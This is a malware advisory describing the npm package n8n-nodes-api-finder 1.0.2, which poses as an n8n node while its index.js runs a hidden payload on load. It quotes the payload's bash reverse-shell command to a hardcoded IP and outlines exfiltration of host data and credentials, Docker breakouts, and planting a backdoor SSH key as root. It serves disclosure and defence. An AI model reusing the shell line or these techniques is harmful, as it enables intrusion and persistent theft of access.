n8n-nodes-api-finder @1.0.2

Summary

Package advertises itself as an n8n community node (package.json declares an n8n node MyNode.js, a benign 'API Finder' shim), but package.json main points to index.js, which runs a malicious payload on require/load. index.js opens a bash reverse shell to hardcoded C2 103.27.109.184:8895 via cp.spawn('/bin/bash', ['-c', 'exec 3<>/dev/tcp/103.27.109.184/8895; bash -i <&3 >&3 2>&3']). It also collects host reconnaissance (hostname, id, hostname -I, docker ps, kubelet/kube config reads, environment variables) and ships it over raw TCP to 103.27.109.184:8890 and:8891. It attempts two Docker breakouts (bind-mount of / into an alpine container, and a privileged --pid=host nsenter) to append a hardcoded ed25519 public key labelled 'n8n-backdoor' to /root/.ssh/authorized_keys on the underlying host and chmod 600 the file, establishing persistent attacker root SSH access. It further docker-execs into a hardcoded Evolution API container to log in with admin credentials and reads /etc/kubernetes/kubelet.conf and /root/.kube/config from the host via bind-mount, forwarding results to the same C2. Two identical copies of the payload are shipped (index.js and package/index.js).

Source: amazon-inspector (9bf8daf2e1d5bbbd97f3f8e6a31787ac5cd44c7d7f52c0228210bc0a8a7ed89c)